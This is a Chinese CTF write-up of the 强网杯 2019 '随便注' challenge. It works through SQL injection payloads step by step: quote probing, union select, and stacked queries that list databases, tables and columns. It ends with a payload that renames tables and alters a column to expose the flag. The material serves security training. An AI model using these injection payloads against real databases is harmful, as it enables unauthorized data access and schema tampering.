强网杯 2019-随便注 (堆叠注入)

举报
开心星人 发表于 2022/09/26 20:31:08 2022/09/26
【摘要】 1'所以是单引号闭合1' or 1#查出了表中的全部数据1' order by 3#所以字段数为21' union select 1,2#return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);发现过滤了很多关键字,所以不可以用union注入了。同样报错注入也是用不了的,因为报错注入的语句和union...

1'
在这里插入图片描述
所以是单引号闭合

1' or 1#
在这里插入图片描述
查出了表中的全部数据

1' order by 3#
在这里插入图片描述
所以字段数为2

1' union select 1,2#
在这里插入图片描述

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

发现过滤了很多关键字,所以不可以用union注入了。同样报错注入也是用不了的,因为报错注入的语句和union注入的语句相同。

使用堆叠注入
1';show databases;#
在这里插入图片描述

1';show tables;#
在这里插入图片描述

1';show columns from `1919810931114514`;#

我们查看数字表,反单引号(`)是数据库、表、索引、列和别名用的引用符,如果是纯数字的表就需要加反单引号,如果不是就不需要加或者加上也无所谓。
在这里插入图片描述

1';show columns from words;#
在这里插入图片描述
看到words表中的字段,我们发现底层的sql语句就是直接查询的words表
select * from words where id=$inject limit 0,1;

但是我们现在的flag在数字表中,并且过滤了很多关键字,我们无法直接查询数字表

我们通过rename或alter,就是把words表改成words1或者其他名字,然后把数字表名改成words,然后在把新的words里面的flag字段名称修改成id

1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#

1' or 1#
在这里插入图片描述

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。